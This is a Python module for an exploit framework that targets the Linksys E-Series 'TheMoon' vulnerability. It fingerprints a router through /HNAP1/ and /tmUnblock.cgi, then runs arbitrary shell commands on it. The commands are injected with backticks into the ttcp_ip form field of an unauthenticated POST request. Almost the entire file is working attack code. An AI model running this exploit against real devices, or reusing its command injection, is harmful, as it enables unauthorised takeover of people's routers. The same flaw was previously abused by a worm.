Linksys E-Series TheMoon RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linksys E-Series TheMoon RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Linksys E-Series TheMoon RCE',
        'description': 'Module exploits remote code execution vulnerability in multiple Linksys E-Series devices. Vulnerability was actively used by TheMoon Worm.',
        'author': ['Johannes Ullrich', 'Rew', 'infodox', 'Michael Messner', 'juan vazquez', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/31683/', 'https://www.securityfocus.com/bid/65585', 'https://packetstormsecurity.com/files/125253', 'https://packetstormsecurity.com/files/125252', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    arch = OptString("mipsle", "Target architecture: mipsbe, mipsle")

    def execute(self, cmd):
        cmd = "-h `{}`".format(cmd)
        data = {
            "submit_button": "",
            "change_action": "",
            "action": "",
            "commit": "0",
            "ttcp_num": "2",
            "ttcp_size": "2",
            "ttcp_ip": cmd,
            "StartEPI": "1",
        }

        self.http_request(
            method="POST",
            path="/tmUnblock.cgi",
            data=data,
        )

        return ""
    def check(self):
        # See https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633
        response = self.http_request(
            method="GET",
            path="/HNAP1/",
            headers={'Host': 'test'}
        )

        if not (response):
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

        content = response.content
        if content and content.find(b'ModelName') == -1:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

        # target may be vulnerable

        response = self.http_request(
            method="GET",
            path="/tmUnblock.cgi",
        )

        if response and response.status_code in [200, 301, 302] and not any(i in response.text.lower() for i in ["page not found", "error", "404", "not found"]):
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()